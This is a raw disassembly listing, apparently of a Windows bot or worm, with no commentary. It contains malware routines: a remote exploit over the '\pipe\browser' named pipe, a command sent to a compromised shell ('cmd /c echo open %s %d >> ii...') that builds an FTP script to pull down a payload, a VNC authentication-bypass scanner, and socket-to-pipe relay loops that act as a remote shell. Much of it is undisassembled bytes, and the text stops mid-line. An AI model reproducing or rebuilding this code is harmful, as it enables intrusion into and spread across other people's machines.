0FFh db 83h ; ┐ db 0C4h ; д db 1Ch db 89h ; ┴ db 85h ; ┘ db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ╦ db 0D8h ; ь db 0D7h ; в db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; Х db 44h ; D db 8Dh ; █ db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ╬ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 271091Eh nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_4328DC push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_4328C8 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2700000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 2660843h jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2710000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_432870[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CE34C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4328BF+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_432864[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_43286C[esi] push 7 add eax, edi push offset dword_432858 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_4326F8 push eax call sub_41C310 mov eax, dword_432868[esi] add esp, 30h cmp byte_432870[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CE344 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_432888 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_432888 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] call near ptr 2660843h nop push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 2700901h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 2710000h test eax, eax jnz short loc_40DE4F nop call near ptr 268082Fh cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2680DC9h cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 81h ; │ db 0ECh ; Л db 0A0h ; ═ db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; Ж db 6Ah ; j db 10h db 8Dh ; █ db 45h ; E db 0F0h ; П db 56h ; V db 50h ; P db 0E8h ; Х db 0D6h ; ж db 0D6h ; ж db 0 db 0 db 83h ; ┐ db 0C4h ; д db 0Ch db 8Dh ; █ db 45h ; E db 0Ch db 66h ; f db 0C7h ; г db 45h ; E db 0F0h ; П db 2 db 0 db 50h ; P db 90h ; ░ db 0E8h ; Х db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; ╣ db 0C4h ; д db 0 db 0 db 0 db 89h ; ┴ db 45h ; E db 0F4h ; Т db 90h ; ░ db 0E8h ; Х db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ┴ db 45h ; E db 0F2h ; Р db 0E8h ; Х db 38h ; 8 db 5Dh ; ] db 6Ah ; j db 71h ; q db 90h ; ░ db 8Bh ; ▀ db 0D8h ; ь db 83h ; ┐ db 0FBh ; Ш db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; █ db 45h ; E db 0F0h ; П db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; © db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ▀ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 0B8h ; ╦ db 8 db 91h ; ▒ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 60h ; ` db 0B3h ; Ё db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0DFh ; ъ db 0CCh ; л db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 10h db 29h ; ) db 43h ; C db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 68h ; h db 90h ; ░ db 1 db 0 db 0 db 50h ; P db 0E8h ; Х db 38h ; 8 db 0DAh ; з db 0 db 0 db 83h ; ┐ db 0C4h ; д db 1Ch db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; Х db 87h ; ┤ db 0D0h ; п db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 8Bh ; ▀ db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; ю db 0EBh ; К db 17h db 6Ah ; j db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 53h ; S db 0E8h ; Х db 0E8h ; Х db 3Ah ; : db 6Ah ; j db 71h ; q db 90h ; ░ db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; и db 0C3h ; ц dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 0E8000007h, 227202Ch, 0FB834390h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CB360 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_431ACCo var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CB664 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB624 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_432984 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j call near ptr 71AB1A6Dh nop loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431AD0[eax] lea eax, dword_431AD0[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB63C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CB674 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433BC8 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CB6A4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CB664 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB624 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB5CC cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB6BC jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CB4DC push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431AD0[eax] push ebx lea eax, dword_431AD0[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CE364 call dword_4CB63C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CE360 nop call near ptr 2700000h jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CE354 call near ptr 2710000h nop cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CE364 call dword_4CB674 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 2415FFFFh, 6A004CB6h, 26A5606h, 0CA458966h, 0B6A415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CB650h dd 75FF056Ah, 4C15FF08h, 8B004CB6h, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B6B815FFh, 64A3004Ch, 8D004CE3h dd 5057F445h, 4CE36068h, 0E35C6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 58685057h, 68004CE3h dd 4CE354h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 5CA10000h dd 83004CE3h, 45890CC4h, 0E358A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 311F12E8h, 0FF509002h, 4CE35835h, 4E89000h, 5002311Fh dd 19E6E890h, 458D0231h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 433BCCh, 9DE89057h, 8D022524h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 271A43E8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1A2AE890h, 0FF6A0227h, 0FFF04589h, 0E890D875h, 227274Dh dd 0F075FF57h, 281FAAE8h, 0FF579002h, 0E890EC75h, 2281F9Fh dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 2302542h dd 0E35C35FFh, 0D6FF004Ch, 0E36035FFh, 0D6FF004Ch, 0E35435FFh dd 0D6FF004Ch, 0E35835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CE36C, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 2415FFFFh, 53004CB6h, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CB6A4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 22CBE890h dd 858B022Dh, 0FFFFFF54h, 0C069106Ah, 234h, 0E56CB889h dd 458D0043h, 0FF5750ECh, 4CB65015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CB5B8h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 224BE890h, 0FE68022Dh, 530000FFh, 9E63E8h, 6CA35900h dd 59004CE3h, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CB65015h dd 75C63B00h, 0B815FF54h, 33004CB5h, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 0E8565959h, 22D21D1h, 57056A90h, 0B64C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB6B8h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 3C15FF08h, 83004CB6h, 9674FFF8h dd 35FF5656h, 4CB360h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 3BD46850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0B67415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CE37405h, 0FF38E900h, 0FF57FFFFh, 4CB6BC15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 0E8006A59h, 22D20D1h db 90h byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h dd 